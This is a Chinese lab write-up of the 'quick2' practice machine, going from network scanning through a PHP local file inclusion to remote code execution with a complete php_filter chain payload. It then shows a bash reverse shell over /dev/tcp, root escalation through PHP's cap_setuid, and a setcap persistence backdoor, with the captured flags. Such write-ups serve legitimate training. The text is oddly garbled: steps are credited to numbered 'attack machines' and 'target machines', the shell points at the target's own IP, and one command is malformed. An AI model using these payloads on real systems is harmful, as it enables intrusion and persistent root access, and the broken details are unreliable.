本文为个人基于【OSCP】quick2 靶机环境进行复现操作的技术笔记,编辑于2025年11月23日。
使用攻击机1对目标网络进行主机存活探测。
┌──(root?Xudde)-[~]
└─# ip a
┌──(root?Xudde)-[~]
└─# nmap -sP 192.168.161.130/24
通过扫描确认存活主机IP地址为 192.168.161.131。
切换至攻击机2,对该IP执行端口扫描。
┌──(root?Xudde)-[~]
└─# nmap -sV -O -p- 192.168.161.131
在获取开放端口信息后,攻击机3启动目录枚举任务。
┌──(root?Xudde)-[~]
└─# dirsearch -u http://192.168.161.131:80/
随后由攻击机4运行漏洞检测工具进行初步分析。
┌──(root?Xudde)-[~]
└─# nikto -host http://192.168.161.131
Nikto 扫描结果显示,index.php?page= 参数可能存在本地文件包含(LFI)漏洞。
攻击机5开始验证该文件包含漏洞是否存在。
进一步发现 file.php 文件同样存在本地文件包含问题。
为实现远程代码执行(RCE),攻击机6使用工具 php_filter_chain_generator.py 构造过滤器链 payload。
该工具来自 GitHub 开源项目:
https://github.com/synacktiv/php_filter_chain_generator
它能够在完全控制 include 或 require 参数的情况下,无需上传文件即可触发 RCE。
python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>'
攻击机7尝试在 file= 参数后添加 &0=id 来执行系统命令。
http:?/192.168.161.131:80/file.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=id
接下来,攻击机8准备反弹 shell,相关命令需经过 URL 编码处理后再发送。
//编码前
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.161.131/6666 0>&1"
//编码后,插入&0=后面,本地执行nc -lvvp 6666监听
%2fbin%2fbash+-c+%22%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.161.131%2f6666+0%3e%261%22
最终成功获得目标系统的命令行访问权限。
进入目标机1系统后查看关键位置。
cd /home/nick
cat user.txt
成功提取第一个 flag:HMV{Its-gonna-be-a-fast-ride}
进入提权环节,攻击机10将 linpeas.sh 脚本上传至目标机的 /tmp 目录下用于权限提升检测。
python -m http.server 7777
在目标机2上确认文件已上传成功。
wget http://192.168.161.130:7777/linpeas.sh
目标机3执行以下操作:赋予 linpeas.sh 可执行权限并运行。
chmod +x linpeas.sh ./linpeas.sh
根据脚本输出内容,重点检查是否存在标记为 RED 或 YELLOW 的高危项。
攻击机11协助分析返回的数据结果。
https://gtfobins.github.io/gtfobins/php/
目标机5继续深入排查潜在提权路径。
/usr/bin/php8.1 -r "posix_setuid(0);system('/bin/sh');"
或者
CMD="/bin/sh"
/usr/bin/php8.1 -r "posix_setuid(0);system('$CMD');"
目标机6完成最终提权操作,并定位到第二个 flag。
ls /root/ cat /root/root.txt
获取第二枚 flag:HMV{This-was-a-Quick-AND-fast-machine}
本次靶机渗透流程至此结束。
针对 file.php 文件进行代码审查:
www-data@quick2:/var/www/html$ cat file.php
cat file.php
<html>
<body>
<h2>Local File Inclusion Vulnerability</h2>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'];?>">
File to include: <input type="text" name="file">
<input type="submit">
</form>
<?php
if (isset($_GET['file'])) {
include($_GET['file']);
}
?>
</body>
</html>
代码中未对用户输入做任何过滤处理,可被利用 PHP 伪协议执行任意代码。
http://192.168.161.131:80/file.php?file=php://filter/convert.base64-encode/resource={file}.php
同时支持使用 file:// 协议读取敏感文件,例如 file:///etc/passwd。
但由于目标机 PHP 配置中 disable_functions 限制以及 allow_url_include 和 allow_url_fopen 均处于关闭状态,无法使用 php://input、data:// 等协议实现远程代码包含。
本次实践中掌握了一种新的提权后门设置方式:
通过 setcap 设置特权:
setcap cap_setuid=ep /usr/bin/php8.1
该配置允许 PHP 进程修改自身的用户 ID,从而实现权限提升。
后续可通过如下命令直接提权至 root:
/usr/bin/php8.1 -r "posix_setuid=(0);system('/bin/sh');"
整体渗透过程收获丰富,不仅熟悉了 LFI 到 RCE 的转化技巧,也学习了基于 setcap 的持久化提权方法。
扫码加好友,拉您进群



收藏
